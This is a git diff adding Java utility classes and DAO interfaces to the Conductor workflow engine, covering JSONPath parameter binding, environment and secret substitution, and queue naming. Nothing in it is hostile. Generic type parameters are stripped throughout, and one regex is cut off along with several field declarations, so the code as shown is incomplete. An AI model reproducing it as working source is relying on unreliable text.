Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.Objects; +import java.util.function.Function; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import org.apache.commons.lang3.StringUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.lang.Nullable; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.utils.EnvUtils; +import com.netflix.conductor.common.utils.TaskUtils; +import com.netflix.conductor.dao.EnvironmentDAO; +import com.netflix.conductor.dao.SecretsDAO; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.jayway.jsonpath.Configuration; +import com.jayway.jsonpath.DocumentContext; +import com.jayway.jsonpath.JsonPath; +import com.jayway.jsonpath.Option; + +/** Used to parse and resolve the JSONPath bindings in the workflow and task definitions. */ +@Component +public class ParametersUtils { + + private static final Logger LOGGER = LoggerFactory.getLogger(ParametersUtils.class); + private static final Pattern PATTERN = + Pattern.compile( + "(?=(?> map = new TypeReference<>() {}; + @Nullable private final EnvironmentDAO environmentDAO; + @Nullable private final SecretsDAO secretsDAO; + + public ParametersUtils(ObjectMapper objectMapper) { + this(objectMapper, null, null); + } + + @Autowired + public ParametersUtils( + ObjectMapper objectMapper, + @Nullable EnvironmentDAO environmentDAO, + @Nullable SecretsDAO secretsDAO) { + this.objectMapper = objectMapper; + this.environmentDAO = environmentDAO; + this.secretsDAO = secretsDAO; + } + + public Map getTaskInput( + Map inputParams, + WorkflowModel workflow, + TaskDef taskDefinition, + String taskId) { + if (workflow.getWorkflowDefinition().getSchemaVersion() > 1) { + return getTaskInputV2(inputParams, workflow, taskId, taskDefinition); + } + return getTaskInputV1(workflow, inputParams); + } + + public Map getTaskInputV2( + Map input, + WorkflowModel workflow, + String taskId, + TaskDef taskDefinition) { + Map inputParams; + + if (input != null) { + inputParams = clone(input); + } else { + inputParams = new HashMap<>(); + } + if (taskDefinition != null && taskDefinition.getInputTemplate() != null) { + clone(taskDefinition.getInputTemplate()).forEach(inputParams::putIfAbsent); + } + + Map> inputMap = new HashMap<>(); + + Map workflowParams = new HashMap<>(); + workflowParams.put("input", workflow.getInput()); + workflowParams.put("output", workflow.getOutput()); + workflowParams.put("status", workflow.getStatus()); + workflowParams.put("workflowId", workflow.getWorkflowId()); + workflowParams.put("parentWorkflowId", workflow.getParentWorkflowId()); + workflowParams.put("parentWorkflowTaskId", workflow.getParentWorkflowTaskId()); + workflowParams.put("workflowType", workflow.getWorkflowName()); + workflowParams.put("version", workflow.getWorkflowVersion()); + workflowParams.put("correlationId", workflow.getCorrelationId()); + workflowParams.put("reasonForIncompletion", workflow.getReasonForIncompletion()); + workflowParams.put("schemaVersion", workflow.getWorkflowDefinition().getSchemaVersion()); + workflowParams.put("variables", workflow.getVariables()); + + inputMap.put("workflow", workflowParams); + + // For new workflow being started the list of tasks will be empty + workflow.getTasks().stream() + .map(TaskModel::getReferenceTaskName) + .map(workflow::getTaskByRefName) + .forEach( + task -> { + Map taskParams = new HashMap<>(); + taskParams.put("input", task.getInputData()); + taskParams.put("output", task.getOutputData()); + taskParams.put("taskType", task.getTaskType()); + if (task.getStatus() != null) { + taskParams.put("status", task.getStatus().toString()); + } + taskParams.put("referenceTaskName", task.getReferenceTaskName()); + taskParams.put("retryCount", task.getRetryCount()); + taskParams.put("correlationId", task.getCorrelationId()); + taskParams.put("pollCount", task.getPollCount()); + taskParams.put("taskDefName", task.getTaskDefName()); + taskParams.put("scheduledTime", task.getScheduledTime()); + taskParams.put("startTime", task.getStartTime()); + taskParams.put("endTime", task.getEndTime()); + taskParams.put("workflowInstanceId", task.getWorkflowInstanceId()); + taskParams.put("taskId", task.getTaskId()); + taskParams.put( + "reasonForIncompletion", task.getReasonForIncompletion()); + taskParams.put("callbackAfterSeconds", task.getCallbackAfterSeconds()); + taskParams.put("workerId", task.getWorkerId()); + taskParams.put("iteration", task.getIteration()); + inputMap.put( + task.isLoopOverTask() + ? TaskUtils.removeIterationFromTaskRefName( + task.getReferenceTaskName()) + : task.getReferenceTaskName(), + taskParams); + }); + + Configuration option = + Configuration.defaultConfiguration().addOptions(Option.SUPPRESS_EXCEPTIONS); + DocumentContext documentContext = JsonPath.parse(inputMap, option); + Map replacedTaskInput = replace(inputParams, documentContext, taskId); + if (taskDefinition != null && taskDefinition.getInputTemplate() != null) { + // If input for a given key resolves to null, try replacing it with one from + // inputTemplate, if it exists. + replacedTaskInput.replaceAll( + (key, value) -> + (value == null) ? taskDefinition.getInputTemplate().get(key) : value); + } + return replacedTaskInput; + } + + // deep clone using json - POJO + private Map clone(Map inputTemplate) { + try { + byte[] bytes = objectMapper.writeValueAsBytes(inputTemplate); + return objectMapper.readValue(bytes, map); + } catch (IOException e) { + throw new RuntimeException("Unable to clone input params", e); + } + } + + public Map replace(Map input, Object json) { + Object doc; + if (json instanceof String) { + doc = JsonPath.parse(json.toString()); + } else { + doc = json; + } + Configuration option = + Configuration.defaultConfiguration().addOptions(Option.SUPPRESS_EXCEPTIONS); + DocumentContext documentContext = JsonPath.parse(doc, option); + return replace(input, documentContext, null); + } + + public Object replace(String paramString) { + Configuration option = + Configuration.defaultConfiguration().addOptions(Option.SUPPRESS_EXCEPTIONS); + DocumentContext documentContext = JsonPath.parse(Collections.emptyMap(), option); + return replaceVariables(paramString, documentContext, null); + } + + @SuppressWarnings("unchecked") + private Map replace( + Map input, DocumentContext documentContext, String taskId) { + Map result = new HashMap<>(); + for (Entry e : input.entrySet()) { + Object newValue; + Object value = e.getValue(); + if (value instanceof String) { + newValue = replaceVariables(value.toString(), documentContext, taskId); + } else if (value instanceof Map) { + // recursive call + newValue = replace((Map) value, documentContext, taskId); + } else if (value instanceof List) { + newValue = replaceList((List) value, taskId, documentContext); + } else { + newValue = value; + } + result.put(e.getKey(), newValue); + } + return result; + } + + @SuppressWarnings("unchecked") + private Object replaceList(List values, String taskId, DocumentContext io) { + List replacedList = new LinkedList<>(); + for (Object listVal : values) { + if (listVal instanceof String) { + Object replaced = replaceVariables(listVal.toString(), io, taskId); + replacedList.add(replaced); + } else if (listVal instanceof Map) { + Object replaced = replace((Map) listVal, io, taskId); + replacedList.add(replaced); + } else if (listVal instanceof List) { + Object replaced = replaceList((List) listVal, taskId, io); + replacedList.add(replaced); + } else { + replacedList.add(listVal); + } + } + return replacedList; + } + + private Object replaceVariables( + String paramString, DocumentContext documentContext, String taskId) { + return replaceVariables(paramString, documentContext, taskId, 0); + } + + private Object replaceVariables( + String paramString, DocumentContext documentContext, String taskId, int depth) { + var matcher = PATTERN.matcher(paramString); + var replacements = new LinkedList(); + while (matcher.find()) { + var start = matcher.start(); + var end = matcher.end(); + var match = paramString.substring(start, end); + String paramPath = match.substring(2, match.length() - 1); + paramPath = replaceVariables(paramPath, documentContext, taskId, depth + 1).toString(); + // if the paramPath is blank, meaning no value in between ${ and } + // like ${}, ${ } etc, set the value to empty string + if (StringUtils.isBlank(paramPath)) { + replacements.add(new Replacement("", start, end)); + continue; + } + if (paramPath.startsWith(SECRETS_PREFIX)) { + // Deferred: leave the literal; resolved at task hand-off via substituteSecrets. + replacements.add(new Replacement(match, start, end)); + } else if (environmentDAO != null && paramPath.startsWith(ENV_PREFIX)) { + Object envValue = resolveEnvVariable(paramPath.substring(ENV_PREFIX.length())); + replacements.add(new Replacement(envValue, start, end)); + } else if (EnvUtils.isEnvironmentVariable(paramPath)) { + String sysValue = EnvUtils.getSystemParametersValue(paramPath, taskId); + if (sysValue != null) { + replacements.add(new Replacement(sysValue, start, end)); + } + } else { + try { + replacements.add(new Replacement(documentContext.read(paramPath), start, end)); + } catch (Exception e) { + LOGGER.warn( + "Error reading documentContext for paramPath: {}. Exception: {}", + paramPath, + e); + replacements.add(new Replacement(null, start, end)); + } + } + } + if (replacements.size() == 1 + && replacements.getFirst().getStartIndex() == 0 + && replacements.getFirst().getEndIndex() == paramString.length() + && depth == 0) { + return replacements.get(0).getReplacement(); + } + Collections.sort(replacements); + var builder = new StringBuilder(paramString); + for (int i = replacements.size() - 1; i >= 0; i--) { + var replacement = replacements.get(i); + builder.replace( + replacement.getStartIndex(), + replacement.getEndIndex(), + Objects.toString(replacement.getReplacement())); + } + return builder.toString().replaceAll("\\$\\$\\{", "\\${"); + } + + @Deprecated + // Workflow schema version 1 is deprecated and new workflows should be using version 2 + private Map getTaskInputV1( + WorkflowModel workflow, Map inputParams) { + Map input = new HashMap<>(); + if (inputParams == null) { + return input; + } + Map workflowInput = workflow.getInput(); + inputParams.forEach( + (paramName, value) -> { + String paramPath = "" + value; + String[] paramPathComponents = paramPath.split("\\."); + Utils.checkArgument( + paramPathComponents.length == 3, + "Invalid input expression for " + + paramName + + ", paramPathComponents.size=" + + paramPathComponents.length + + ", expression=" + + paramPath); + + String source = paramPathComponents[0]; // workflow, or task reference name + String type = paramPathComponents[1]; // input/output + String name = paramPathComponents[2]; // name of the parameter + if ("workflow".equals(source)) { + input.put(paramName, workflowInput.get(name)); + } else { + TaskModel task = workflow.getTaskByRefName(source); + if (task != null) { + if ("input".equals(type)) { + input.put(paramName, task.getInputData().get(name)); + } else { + input.put(paramName, task.getOutputData().get(name)); + } + } + } + }); + return input; + } + + public Map getWorkflowInput( + WorkflowDef workflowDef, Map inputParams) { + if (workflowDef != null && workflowDef.getInputTemplate() != null) { + clone(workflowDef.getInputTemplate()).forEach(inputParams::putIfAbsent); + } + return inputParams; + } + + private Object resolveEnvVariable(String ref) { + return resolveWithOptionalJsonPath(ref, environmentDAO::getEnvVariable); + } + + /** + * Resolves any {@code ${workflow.secrets.*}} references in the given input, returning a new + * structure. The input map is not mutated. Returns the input unchanged when no secrets provider + * is configured. + */ + @SuppressWarnings("unchecked") + public Map substituteSecrets(Map input) { + if (secretsDAO == null || input == null) { + return input; + } + return (Map) substituteSecretsValue(input); + } + + @SuppressWarnings("unchecked") + private Object substituteSecretsValue(Object value) { + if (value instanceof String) { + return resolveSecretString((String) value); + } else if (value instanceof Map) { + Map src = (Map) value; + Map result = null; + for (Map.Entry e : src.entrySet()) { + Object original = e.getValue(); + Object substituted = substituteSecretsValue(original); + if (substituted != original) { + if (result == null) { + result = new HashMap<>(src); + } + result.put(e.getKey(), substituted); + } + } + return result == null ? src : result; + } else if (value instanceof List) { + List src = (List) value; + List result = null; + for (int i = 0; i < src.size(); i++) { + Object original = src.get(i); + Object substituted = substituteSecretsValue(original); + if (substituted != original) { + if (result == null) { + result = new ArrayList<>(src); + } + result.set(i, substituted); + } + } + return result == null ? src : result; + } + return value; + } + + private Object resolveSecretString(String str) { + if (str.indexOf("${workflow.secrets.") < 0) { + return str; // no secret reference — return the same instance, no regex, no allocation + } + Matcher whole = SECRET_PATTERN.matcher(str); + if (whole.matches()) { + return resolveSecretRef(whole.group(1)); + } + Matcher m = SECRET_PATTERN.matcher(str); + StringBuilder sb = new StringBuilder(); + while (m.find()) { + Object resolved = resolveSecretRef(m.group(1)); + m.appendReplacement(sb, Matcher.quoteReplacement(Objects.toString(resolved, ""))); + } + m.appendTail(sb); + return sb.toString(); + } + + private Object resolveSecretRef(String ref) { + return resolveWithOptionalJsonPath(ref, secretsDAO::getSecret); + } + + /** + * Splits {@code ref} on the first '.' into a name and an optional JSON path, looks up the name + * via {@code lookup}, and if a JSON path is present, reads it out of the looked-up value. + * Returns null if the looked-up value is null, or if the JSON path cannot be read from it (e.g. + * the value is not valid JSON) -- in which case a warning is logged instead of throwing. + */ + private Object resolveWithOptionalJsonPath(String ref, Function lookup) { + int dot = ref.indexOf('.'); + if (dot < 0) { + return lookup.apply(ref); + } + String name = ref.substring(0, dot); + String jsonPath = ref.substring(dot + 1); + String value = lookup.apply(name); + if (value == null) { + return null; + } + try { + return JsonPath.parse(value).read(jsonPath); + } catch (Exception e) { + LOGGER.warn( + "Failed to extract JSON path '{}' from reference '{}': {}", + jsonPath, + ref, + e.toString()); + return null; + } + } + + private static class Replacement implements Comparable { + private final int startIndex; + private final int endIndex; + private final Object replacement; + + public Replacement(Object replacement, int startIndex, int endIndex) { + this.replacement = replacement; + this.startIndex = startIndex; + this.endIndex = endIndex; + } + + public Object getReplacement() { + return replacement; + } + + public int getStartIndex() { + return startIndex; + } + + public int getEndIndex() { + return endIndex; + } + + @Override + public int compareTo(Replacement o) { + return Long.compare(startIndex, o.startIndex); + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/QueueUtils.java b/core/src/main/java/com/netflix/conductor/core/utils/QueueUtils.java new file mode 100644 index 0000000..0fa463d --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/QueueUtils.java @@ -0,0 +1,116 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.model.TaskModel; + +public class QueueUtils { + + public static final String DOMAIN_SEPARATOR = ":"; + private static final String ISOLATION_SEPARATOR = "-"; + private static final String EXECUTION_NAME_SPACE_SEPARATOR = "@"; + + public static String getQueueName(TaskModel taskModel) { + return getQueueName( + taskModel.getTaskType(), + taskModel.getDomain(), + taskModel.getIsolationGroupId(), + taskModel.getExecutionNameSpace()); + } + + public static String getQueueName(Task task) { + return getQueueName( + task.getTaskType(), + task.getDomain(), + task.getIsolationGroupId(), + task.getExecutionNameSpace()); + } + + /** + * Creates a queue name string using taskType, domain, + * isolationGroupId and executionNamespace. + * + * @return domain:taskType@eexecutionNameSpace-isolationGroupId. + */ + public static String getQueueName( + String taskType, String domain, String isolationGroupId, String executionNamespace) { + + String queueName; + if (domain == null) { + queueName = taskType; + } else { + queueName = domain + DOMAIN_SEPARATOR + taskType; + } + + if (executionNamespace != null) { + queueName = queueName + EXECUTION_NAME_SPACE_SEPARATOR + executionNamespace; + } + + if (isolationGroupId != null) { + queueName = queueName + ISOLATION_SEPARATOR + isolationGroupId; + } + return queueName; + } + + public static String getQueueNameWithoutDomain(String queueName) { + return queueName.substring(queueName.indexOf(DOMAIN_SEPARATOR) + 1); + } + + public static String getExecutionNameSpace(String queueName) { + if (StringUtils.contains(queueName, ISOLATION_SEPARATOR) + && StringUtils.contains(queueName, EXECUTION_NAME_SPACE_SEPARATOR)) { + return StringUtils.substringBetween( + queueName, EXECUTION_NAME_SPACE_SEPARATOR, ISOLATION_SEPARATOR); + } else if (StringUtils.contains(queueName, EXECUTION_NAME_SPACE_SEPARATOR)) { + return StringUtils.substringAfter(queueName, EXECUTION_NAME_SPACE_SEPARATOR); + } else { + return StringUtils.EMPTY; + } + } + + public static boolean isIsolatedQueue(String queue) { + return StringUtils.isNotBlank(getIsolationGroup(queue)); + } + + private static String getIsolationGroup(String queue) { + return StringUtils.substringAfter(queue, QueueUtils.ISOLATION_SEPARATOR); + } + + public static String getTaskType(String queue) { + + if (StringUtils.isBlank(queue)) { + return StringUtils.EMPTY; + } + + int domainSeperatorIndex = StringUtils.indexOf(queue, DOMAIN_SEPARATOR); + int startIndex; + if (domainSeperatorIndex == -1) { + startIndex = 0; + } else { + startIndex = domainSeperatorIndex + 1; + } + int endIndex = StringUtils.indexOf(queue, EXECUTION_NAME_SPACE_SEPARATOR); + + if (endIndex == -1) { + endIndex = StringUtils.lastIndexOf(queue, ISOLATION_SEPARATOR); + } + if (endIndex == -1) { + endIndex = queue.length(); + } + + return StringUtils.substring(queue, startIndex, endIndex); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/SemaphoreUtil.java b/core/src/main/java/com/netflix/conductor/core/utils/SemaphoreUtil.java new file mode 100644 index 0000000..df4d231 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/SemaphoreUtil.java @@ -0,0 +1,60 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.util.concurrent.Semaphore; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** A class wrapping a semaphore which holds the number of permits available for processing. */ +public class SemaphoreUtil { + + private static final Logger LOGGER = LoggerFactory.getLogger(SemaphoreUtil.class); + private final Semaphore semaphore; + + public SemaphoreUtil(int numSlots) { + LOGGER.debug("Semaphore util initialized with {} permits", numSlots); + semaphore = new Semaphore(numSlots); + } + + /** + * Signals if processing is allowed based on whether specified number of permits can be + * acquired. + * + * @param numSlots the number of permits to acquire + * @return {@code true} - if permit is acquired {@code false} - if permit could not be acquired + */ + public boolean acquireSlots(int numSlots) { + boolean acquired = semaphore.tryAcquire(numSlots); + LOGGER.trace("Trying to acquire {} permit: {}", numSlots, acquired); + return acquired; + } + + /** Signals that processing is complete and the specified number of permits can be released. */ + public void completeProcessing(int numSlots) { + LOGGER.trace("Completed execution; releasing permit"); + semaphore.release(numSlots); + } + + /** + * Gets the number of slots available for processing. + * + * @return number of available permits + */ + public int availableSlots() { + int available = semaphore.availablePermits(); + LOGGER.trace("Number of available permits: {}", available); + return available; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/utils/Utils.java b/core/src/main/java/com/netflix/conductor/core/utils/Utils.java new file mode 100644 index 0000000..2464d99 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/utils/Utils.java @@ -0,0 +1,94 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.utils; + +import java.net.InetAddress; +import java.net.UnknownHostException; +import java.util.*; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.core.exception.TransientException; + +public class Utils { + + public static final String DECIDER_QUEUE = "_deciderQueue"; + + /** + * ID of the server. Can be host name, IP address or any other meaningful identifier + * + * @return canonical host name resolved for the instance, "unknown" if resolution fails + */ + public static String getServerId() { + try { + return InetAddress.getLocalHost().getHostName(); + } catch (UnknownHostException e) { + return "unknown"; + } + } + + /** + * Split string with "|" as delimiter. + * + * @param inputStr Input string + * @return List of String + */ + public static List convertStringToList(String inputStr) { + List list = new ArrayList<>(); + if (StringUtils.isNotBlank(inputStr)) { + list = Arrays.asList(inputStr.split("\\|")); + } + return list; + } + + /** + * Ensures the truth of an condition involving one or more parameters to the calling method. + * + * @param condition a boolean expression + * @param errorMessage The exception message use if the input condition is not valid + * @throws IllegalArgumentException if input condition is not valid. + */ + public static void checkArgument(boolean condition, String errorMessage) { + if (!condition) { + throw new IllegalArgumentException(errorMessage); + } + } + + /** + * This method checks if the object is null or empty. + * + * @param object input of type {@link Object}. + * @param errorMessage The exception message use if the object is empty or null. + * @throws NullPointerException if input object is not valid. + */ + public static void checkNotNull(Object object, String errorMessage) { + if (object == null) { + throw new NullPointerException(errorMessage); + } + } + + /** + * Used to determine if the exception is thrown due to a transient failure and the operation is + * expected to succeed upon retrying. + * + * @param throwable the exception that is thrown + * @return true - if the exception is a transient failure + *

    false - if the exception is non-transient + */ + public static boolean isTransientException(Throwable throwable) { + if (throwable != null) { + return throwable instanceof TransientException; + } + return true; + } +} diff --git a/core/src/main/java/com/netflix/conductor/dao/ConcurrentExecutionLimitDAO.java b/core/src/main/java/com/netflix/conductor/dao/ConcurrentExecutionLimitDAO.java new file mode 100644 index 0000000..5ca70c6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/ConcurrentExecutionLimitDAO.java @@ -0,0 +1,45 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.model.TaskModel; + +/** + * A contract to support concurrency limits of tasks. + * + * @since v3.3.5. + */ +public interface ConcurrentExecutionLimitDAO { + + default void addTaskToLimit(TaskModel task) { + throw new UnsupportedOperationException( + getClass() + " does not support addTaskToLimit method."); + } + + default void removeTaskFromLimit(TaskModel task) { + throw new UnsupportedOperationException( + getClass() + " does not support removeTaskFromLimit method."); + } + + /** + * Checks if the number of tasks in progress for the given taskDef will exceed the limit if the + * task is scheduled to be in progress (given to the worker or for system tasks start() method + * called) + * + * @param task The task to be executed. Limit is set in the Task's definition + * @return true if by executing this task, the limit is breached. false otherwise. + * @see TaskDef#concurrencyLimit() + */ + boolean exceedsLimit(TaskModel task); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/EnvironmentDAO.java b/core/src/main/java/com/netflix/conductor/dao/EnvironmentDAO.java new file mode 100644 index 0000000..b4982c6 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/EnvironmentDAO.java @@ -0,0 +1,27 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; + +public interface EnvironmentDAO { + String getEnvVariable(String key); + + void setEnvVariable(String key, String value); + + void delete(String key); + + List getAll(); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/EventHandlerDAO.java b/core/src/main/java/com/netflix/conductor/dao/EventHandlerDAO.java new file mode 100644 index 0000000..5d48121 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/EventHandlerDAO.java @@ -0,0 +1,50 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import com.netflix.conductor.common.metadata.events.EventHandler; + +/** An abstraction to enable different Event Handler store implementations */ +public interface EventHandlerDAO { + + /** + * @param eventHandler Event handler to be added. + *

    NOTE: Will throw an exception if an event handler already exists with the + * name + */ + void addEventHandler(EventHandler eventHandler); + + /** + * @param eventHandler Event handler to be updated. + */ + void updateEventHandler(EventHandler eventHandler); + + /** + * @param name Removes the event handler from the system + */ + void removeEventHandler(String name); + + /** + * @return All the event handlers registered in the system + */ + List getAllEventHandlers(); + + /** + * @param event name of the event + * @param activeOnly if true, returns only the active handlers + * @return Returns the list of all the event handlers for a given event + */ + List getEventHandlersForEvent(String event, boolean activeOnly); +} diff --git a/core/src/main/java/com/netflix/conductor/dao/ExecutionDAO.java b/core/src/main/java/com/netflix/conductor/dao/ExecutionDAO.java new file mode 100644 index 0000000..b94ffaf --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/dao/ExecutionDAO.java @@ -0,0 +1,216 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.List; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +/** Data access layer for storing workflow executions */ +public interface ExecutionDAO { + + /** + * @param taskName Name of the task + * @param workflowId Workflow instance id + * @return List of pending tasks (in_progress) + */ + List getPendingTasksByWorkflow(String taskName, String workflowId); + + /** + * @param taskType Type of task + * @param startKey start + * @param count number of tasks to return + * @return List of tasks starting from startKey + */ + List getTasks(String taskType, String startKey, int count); + + /** + * @param tasks tasks to be created + * @return List of tasks that were created. + *

    Note on the primary key constraint + *

    For a given task reference name and retryCount should be considered unique/primary + * key. Given two tasks with the same reference name and retryCount only one should be added + * to the database. + */ + List createTasks(List tasks); + + /** + * @param task Task to be updated + */ + void updateTask(TaskModel task); + + /** + * Checks if the number of tasks in progress for the given taskDef will exceed the limit if the + * task is scheduled to be in progress (given to the worker or for system tasks start() method + * called) + * + * @param task The task to be executed. Limit is set in the Task's definition + * @return true if by executing this task, the limit is breached. false otherwise. + * @see TaskDef#concurrencyLimit() + * @deprecated Since v3.3.5. Use {@link ConcurrentExecutionLimitDAO#exceedsLimit(TaskModel)}. + */ + @Deprecated + default boolean exceedsInProgressLimit(TaskModel task) { + throw new UnsupportedOperationException( + getClass() + "does not support exceedsInProgressLimit"); + } + + /** + * @param taskId id of the task to be removed. + * @return true if the deletion is successful, false otherwise. + */ + boolean removeTask(String taskId); + + /** + * @param taskId Task instance id + * @return Task + */ + TaskModel getTask(String taskId); + + /** + * @param taskIds Task instance ids + * @return List of tasks + */ + List getTasks(List taskIds); + + /** + * @param taskType Type of the task for which to retrieve the list of pending tasks + * @return List of pending tasks + */ + List getPendingTasksForTaskType(String taskType); + + /** + * @param workflowId Workflow instance id + * @return List of tasks for the given workflow instance id + */ + List getTasksForWorkflow(String workflowId); + + /** + * @param workflow Workflow to be created + * @return Id of the newly created workflow + */ + String createWorkflow(WorkflowModel workflow); + + /** + * @param workflow Workflow to be updated + * @return Id of the updated workflow + */ + String updateWorkflow(WorkflowModel workflow); + + /** + * @param workflowId workflow instance id + * @return true if the deletion is successful, false otherwise + */ + boolean removeWorkflow(String workflowId); + + /** + * Removes the workflow with ttl seconds + * + * @param workflowId workflowId workflow instance id + * @param ttlSeconds time to live in seconds. + * @return + */ + boolean removeWorkflowWithExpiry(String workflowId, int ttlSeconds); + + /** + * @param workflowType Workflow Type + * @param workflowId workflow instance id + */ + void removeFromPendingWorkflow(String workflowType, String workflowId); + + /** + * @param workflowId workflow instance id + * @return Workflow + */ + WorkflowModel getWorkflow(String workflowId); + + /** + * @param workflowId workflow instance id + * @param includeTasks if set, includes the tasks (pending and completed) sorted by Task + * Sequence number in Workflow. + * @return Workflow instance details + */ + WorkflowModel getWorkflow(String workflowId, boolean includeTasks); + + /** + * @param workflowName name of the workflow + * @param version the workflow version + * @return List of workflow ids which are running + */ + List getRunningWorkflowIds(String workflowName, int version); + + /** + * @param workflowName Name of the workflow + * @param version the workflow version + * @return List of workflows that are running + */ + List getPendingWorkflowsByType(String workflowName, int version); + + /** + * @param workflowName Name of the workflow + * @return No. of running workflows + */ + long getPendingWorkflowCount(String workflowName); + + /** + * @param taskDefName Name of the task + * @return Number of task currently in IN_PROGRESS status + */ + long getInProgressTaskCount(String taskDefName); + + /** + * @param workflowName Name of the workflow + * @param startTime epoch time + * @param endTime epoch time + * @return List of workflows between start and end time + */ + List getWorkflowsByType(String workflowName, Long startTime, Long endTime); + + /** + * @param workflowName workflow name + * @param correlationId Correlation Id + * @param includeTasks Option to includeTasks in results + * @return List of workflows by correlation id + */ + List getWorkflowsByCorrelationId( + String workflowName, String correlationId, boolean includeTasks); + + /** + * @return true, if the DAO implementation is capable of searching across workflows false, if + * the DAO implementation cannot perform searches across workflows (and needs to use + * indexDAO) + */ + boolean canSearchAcrossWorkflows(); + + // Events + + /** + * @param eventExecution Event Execution to be stored + * @return true if the event was added. false otherwise when the event by id is already already + * stored. + */ + boolean addEventExecution(EventExecution eventExecution); + + /** + * @param eventExecution Event execution to be updated + */ 